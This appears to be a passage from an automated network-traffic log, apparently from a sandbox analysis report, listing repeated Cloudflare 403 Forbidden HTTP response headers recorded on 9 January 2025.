Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ermpKCZZsUvh6Demg4kqCyEQfj2OdPDbkAGqvbeXMy0OM0SlQuvxlI9r31%2FEn%2BTgsocyWyztfeh1Bhu%2BxwIsQB23Be%2F7wDuL7U9Ky2iaWTAiPaHRwcfuehARS2MowU3R4iCKctckhmSr0ie"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9507c76c336-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1514&min_rtt=1509&rtt_var=576&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1885087&cwnd=245&unsent_bytes=0&cid=f1622a01efbd8904&ts=131&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kdMW1fV8NY5%2FX%2FqO6OWENwA4fLVODjrfaZ6LUM2e%2BMIvwhKNSD0IjjfCBa7Ne%2BMatDv8hJq28O4vLap3XbCxDUbWbPvCOELYllu3Cf%2BeCkuXAe3akxBNDzJ8FIElBdodLfkYmwGq%2Bfxv06mV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9543a3f18ea-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1696&rtt_var=659&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1631284&cwnd=244&unsent_bytes=0&cid=1a347505d041e265&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:02 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GhC%2BxD6JkFWDRHj%2Brv6RYe196d%2BRtYDkW6o5DdZExkmYGURFAwjFd5oxW0J2f7xGXbwiMLpgHhL6%2BmOO2We1mkXcjBsQoxJF16SLF5E62Qa%2FrNNVUEbsUFl0EfG9Cbr1dkDWrNJ15CBAKMgO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b957cad2f799-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1697&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1720683&cwnd=140&unsent_bytes=0&cid=f898fa9f170a22a5&ts=119&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:03 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e82YNeQX6FMoAHmKcaGBTdYKAUr2hAXAKYhOVMpY%2FLl%2FC4BdxjO0Zs6HAM8%2B6aAu%2Boaq0XCgw%2FyPxL%2FsjN8EFpc1o3rqDzDDcn0hOBVyOrERghyngrzUoQyBM2BZBLJBo8fSeZSvObU3Cq1p"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b95bdc8443f7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1564&rtt_var=611&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1753753&cwnd=213&unsent_bytes=0&cid=4c15fafd03532015&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:04 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FSPAa2dyYY0cyOtS%2BgVwUB4ydd6pTp2A2NgCp%2F4lnaH9MDPHyf24AbuAzAnTHUuOwXK2kSOdY4oedNYCCMsL2sx1oPKkCul3Rq0XGuo06MmxzPPwCdTdVGwsHWOXChNREIMBGNzR4JGrkOZU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9611b9c0f67-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1636&rtt_var=632&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1704611&cwnd=47&unsent_bytes=0&cid=6160934383f9e7b9&ts=376&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:50 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:05 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qE6I3A1hqdPHdXJjlyPnzSO9YTW%2Bn22UF1b0HOWD5b6Kkc%2B0zrGr54bLjYeV%2B8NceNDKbfPoMOGhPgQCoE0ZkcIGtsImraEk9t%2B9yJAGXskHZOU10czMkLpmDNYXfg16W8rsYVFbk0ako5ss"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b96948a47271-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=1997&rtt_var=756&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1441975&cwnd=225&unsent_bytes=0&cid=03ee51fb486882fa&ts=199&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2PrPtq1jcyYJ9ZR8zPT2CKQQ%2FdXx8mWgWFzgDbTPuYOifZ3ovrT2IMe5BtJBxXWVYwuFTETBMypKOw81lMszAFNLOR2tiki0PHdOwL6anj21ReAcafAPdMP%2BgFzTkq7UubSKmRati8kA2nYI"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b96d3b778c9b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2015&rtt_var=769&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1449131&cwnd=186&unsent_bytes=0&cid=cda076a0f9713e4e&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:06 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqxFIWCVcClCSCaWjhZo3pScqGQiyATRaYaWS%2FjlJ8AQ%2F24C3dWb1R2nUAZUezpQseWvXuOka841N3k8FzUGY8n9fhYm3%2BZwaw3R9qAzuJo9hYSF%2FAb70LINzBOD54ovnxOr%2FrRRkLnVeYeH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b970ecf2c407-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1692&min_rtt=1671&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1747456&cwnd=197&unsent_bytes=0&cid=90b3e91d5c98266e&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zxrxL4zuBMzUqIIYqxRKf17pzwVizhdBOIodhZt6PUon%2BBZ9KMbTI%2F%2FqkW%2ByYtnRIij4VrfZK2gIrC1d9xD20doAlrq1Zb0BtCEAAz1gKCJLiWAEo%2FDor86GeKtRgXHwdL2oLsHjNdLVX28q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b974cf8f43f2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1580&rtt_var=592&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1846932&cwnd=207&unsent_bytes=0&cid=4a0fafd3355e6aea&ts=149&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:07 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5xlaccm8ttT%2Fk0aMz8n5UBYwLYsurvsgX%2BjDZhF6ORol%2BJX1y21z%2FosKDvnq4ZbmTNEiEDsWW8nLKSBT9yqpOM3UE3JDwGAfPIsPmw%2FvZhsDQriE9MoG9ai5N5CQ9BMIIuAWqqIVaz9koekP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9788c374232-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1734&min_rtt=1731&rtt_var=655&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1661923&cwnd=217&unsent_bytes=0&cid=9193cb758b59580d&ts=138&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xACg9VnZWaTQWQORagQgc7a2uUvyZoYOz0SXBeTTDeHleD7wPdahgqRNDBQjjA2fUM%2B7yONeN%2BdmhZZ9%2FVQAJiBY5Wy6oknlDAAUhGfGRGlA31ALmNSoXMI5BpS0Cj8YQfl9ZbbigD0d6Ksd"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9810daf4229-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1633&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1749550&cwnd=236&unsent_bytes=0&cid=2aec3bc0cebe2ed2&ts=832&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:09 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mqPy%2FXnMu4O%2FjrzeB3Ya7WOEFw4jZCG5KcRCon6QocvAOTgvoUFN0HGojCAKXcUlr%2BeKxwtl8fVS2guNwvQFJHfxXw9EY1prXy5p0AmNVxyP%2Fa3UrGEVvUxih4GzO17%2F4%2FQDN7gk2cksq1Jv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b98508dd6a56-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2380&min_rtt=2352&rtt_var=939&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1131782&cwnd=224&unsent_bytes=0&cid=1d17ff0c092556d6&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:10 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXPuqgU1BRDTwDgrEajSgP50HxOKSsXSyGqqPDmxU3PuYMFuivkTaFOGOcc8CQytOrJEVdBBniXqPKt2aBbzFF49er7RKkh%2BY%2FCQZcWMwQudMtbvamMZjhHrENVerjLa%2BzDVTIbRc0v5i%2FRk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b988f93cc335-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1484&min_rtt=1481&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1935056&cwnd=165&unsent_bytes=0&cid=3954d7a2df9861f7&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:11 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HVJsAoBDsPnEa%2FjqqaoxdryXTnihcOPvynwNmiku8sUyEIyD1M9%2B4LHVfFvPUqkPBHqrik5zzfVYq7lf9kZbApQ06PcPMhq5x2C0OutJtOvhYRKc4tdQE7FqgKbW9f5KniP2a0Y8u5c8QaDL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b98dce1c41af-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1633&rtt_var=621&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1751649&cwnd=224&unsent_bytes=0&cid=d69aec965e394eb5&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:11 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cIm4aUjiTCK3nt%2BJ5FET2wouZNF1YtJ%2F%2FoHV5QbiWm4awJWCBskXEfqNtKqsZ6KYeKpKJvDcf6vP3wVbWz3U%2FLG1VWGetBzwKEgN7KlTxmxrzea3%2BQIWa50%2FVyMX6fEx%2FcCbBHd4Lb05tUcm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b991c839420d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1747&rtt_var=663&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1639528&cwnd=244&unsent_bytes=0&cid=7e094c03d0c3c5e1&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:12 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W1gEasX4iuLEQznIqkhm%2BnjycNUr2wAiLnfcipr8cEZr%2FKgIDBOgRfcQqk9RnEr5b0z0d%2B6NC0nXlmfyULoOdlaK4AreJlVNxghPO15CN34lVyEjcxKSh0lx9lw4nLKCBiE1sjA0kgEf%2Fp6n"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9958f414388-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2082&min_rtt=2073&rtt_var=795&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1360671&cwnd=221&unsent_bytes=0&cid=6f87dc73358d2f32&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DiyWTqyCpko4cfUxekBExd5H3IeT89WQQlAa1pc4%2B68BenH%2BrAYb0axTP5UhmX%2FGynE7VdrkiTYiREnVSmWuGGTzEXACIHxV4tixUM%2ByEf1w20U3SEFm7iXSC8blpclsGPEuDiF3j6i%2BJksX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b999ec438c90-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2047&min_rtt=2043&rtt_var=774&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1407228&cwnd=201&unsent_bytes=0&cid=58bb365e8f5bbc4a&ts=183&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:13 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2FgHPc6atFhigbV8cqIeQ4Gv0GN5JHLx6Mk9Jg3H0zk3mWpOmjCnQvIh8hXaWDXi0QrLQmU%2FXj2o890T9U8qQtrdONDWPnoRaFJguVjQpU%2BOxX%2B0VpUSsAgAcWMLSPf%2Feqq58RLPMj8rU0nV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b99e4d9c43eb-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=3573&min_rtt=1648&rtt_var=1933&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1771844&cwnd=183&unsent_bytes=0&cid=e317da050419f589&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:59 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:14 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l2c7tvv6eqZjy6tnZHRsUz%2BIxP4elUj%2BsrWBAvQznAbiXO%2BAfNORHSZdtPuYaAbaMHhQvqkwNSgor2X0Bwkg5QgMprExeNm8zkceCVFEvsO9Uq3dEf%2FeSrugeiAwmm%2F2WCMiVZM%2BxPqUD18B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9a21c68c436-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1597&rtt_var=603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1810291&cwnd=223&unsent_bytes=0&cid=4c8e1ed9ba7af40c&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UgLqs9kP6vZuclbcHZZfLuwf1%2BVbe9QZ%2BCFTbTwBUCEOkmLBz0Rd%2BU0igAa1CqecnN%2B8azxr9lLizJw5mK1avPxJtZEWMfYNH57JCk7k%2Bg1PFNQgEAAbfpWcElCivLoluy5b3t0q6c0OwVYh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9a61da543c8-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2130&min_rtt=2128&rtt_var=802&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1361940&cwnd=192&unsent_bytes=0&cid=8045f23c6306f49e&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:00 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:15 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jUPTSMW51Jg13AmekouLv9VFIoUdQD3MVmR9ZA9HH40Y02QMmXmYe14xBQ539WH9ymt9%2BbCqDlbDIYCCL9mxsXTSjDR%2FVtbMAshgy2K7NSSXFFL8rCeBaCZwDomXOp7AIq47I0UmeCRy%2Booc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9a9dd16c34f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1491&rtt_var=577&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1867007&cwnd=181&unsent_bytes=0&cid=2b11b67d27d00de9&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HwuKKpAJvmQiJAPmbz1OMJMFjPt0C96Ccf48W3TWU6F9djHkxRkVrF6%2FmTT%2FKALp%2FIjo7LipTdOZKsDoUp6MO96Of%2BQ3tdf5aHhilKURlcGfgloB6J7M7X%2BXsPDcablkjqs%2Fejs01ND%2BjKUD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9ad8df172b3-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2047&min_rtt=2045&rtt_var=772&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1411992&cwnd=172&unsent_bytes=0&cid=b2766c247a961d3c&ts=125&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:31:01 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:31:16 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZLbIeoqKp0eB9mEeVxRhb%2Bgv%2BGdqDqySj6FKsgldtPe2BTun1pyOeHtnPM1q8HzD6f7R4V07cNT7YoQO8uOanZQG%2B7sfgk9HMOjEqpoIsaGmZpYjyo9dJg%2BVbWUgHuhbHW9djkwRMVS3qI1h"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b9b14cd15e7f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1721&rtt_var=648&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1683967&cwnd=228&unsent_bytes=0&cid=4e9e67ff572acc23&ts=136&x=0"
